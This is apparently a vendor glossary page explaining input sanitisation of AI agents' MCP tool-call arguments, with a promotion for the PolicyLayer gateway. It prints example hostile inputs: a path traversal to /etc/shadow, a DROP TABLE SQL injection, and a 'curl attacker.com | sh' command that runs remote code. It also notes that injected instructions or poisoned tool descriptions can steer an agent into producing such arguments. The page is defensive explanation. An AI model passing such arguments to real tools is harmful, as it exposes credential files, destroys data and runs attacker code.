New Your team’s decisions, in one playbook every coding agent works from. Never answer your agent twice

What is Input Sanitisation?

3 min read Updated

The process of cleaning and validating arguments that an AI agent passes to MCP tools before execution, preventing injection attacks, path traversal, command injection, and malformed requests.

WHY IT MATTERS

Input sanitisation is a foundational security practice from web application development. Every security engineer knows: never trust user input. For AI agents, the principle extends to: never trust agent-generated arguments. The LLM producing tool call arguments is not a trusted source — it is an interpreter of potentially adversarial input.

When an agent calls an MCP tool, the arguments it passes are generated by the LLM based on its context — which may include injected instructions, poisoned tool descriptions, or manipulated user input. Without sanitisation, these arguments flow directly to the MCP server. A file path argument of ../../etc/shadow exploits path traversal. A SQL argument of '; DROP TABLE users; -- exploits SQL injection. A command argument of curl attacker.com | sh exploits command injection.

These are not novel attack classes — they are the same injection vulnerabilities that have plagued web applications for decades. What is new is the attack surface: instead of a human typing into a form, an LLM generates arguments that may incorporate adversarial content from its context window. The agent does not intend malice, but it faithfully reproduces patterns from poisoned input.

Effective sanitisation for MCP tool arguments includes type validation (is this argument the expected type?), range checking (is this number within bounds?), pattern matching (does this path match the allowed pattern?), and content filtering (does this string contain injection patterns?).

PolicyLayer puts a deterministic check in front of every tool call — the enforcement layer this page assumes.

GOVERN YOUR MCP SERVERS →

Enforced before the call runs. Nothing to install.

HOW POLICYLAYER USES THIS

PolicyLayer performs argument validation as part of its policy evaluation pipeline. A policy's require and deny-if conditions define what tool arguments must look like — required fields, permitted values, and numeric bounds. Before a tool call reaches the MCP server, the gateway evaluates every argument against these conditions. A file path outside its permitted values, a call missing a required argument, or a numeric value outside its expected range is caught and denied at the gateway. This is infrastructure-level sanitisation that operates independently of the agent and the server.

FREQUENTLY ASKED QUESTIONS

Why can't the MCP server handle its own input validation?
It can and should — but you cannot rely on it. MCP servers vary in quality, many are community-maintained, and their validation may be incomplete. PolicyLayer provides a consistent validation layer regardless of how well individual servers handle input. Defence in depth means validating at multiple points.
What types of injection are most common in MCP tool calls?
Path traversal in file system tools, command injection in shell/exec tools, SQL injection in database tools, and URL manipulation in HTTP/API tools. These mirror the OWASP Top 10 for web applications — the attack classes are identical, only the delivery mechanism (agent-generated arguments) is new.
How do I write sanitisation rules in PolicyLayer policies?
Use argument conditions in the policy document: require rules for arguments that must be present and the values they may take, deny-if rules to block dangerous values and out-of-range numbers, and per-tool limits to cap call volume. Author them in the visual policy builder or the Raw JSON view. PolicyLayer evaluates these conditions before forwarding the tool call.

FURTHER READING

// THE REGISTRY

Every MCP server your agents touch has a registry record.

Type a name, get the breakdown: verified identity, auth posture, risk grade, every tool classified, recommended policy. Re-checked continuously.

Teams ship this data inside their own products. See what a licence covers →

Take your agents live. Without losing control.

Route your MCP traffic through PolicyLayer. Every tool call is checked against your policy before it runs: allow, deny, or require approval. Per-identity grants. Full audit log. Live in minutes.

Instant setup, no code required.

46,500+ MCP servers and 515,000+ tools scanned and risk-classified.

// GET IN TOUCH

Have a question or want to learn more? Send us a message.

Message sent.

We'll get back to you soon.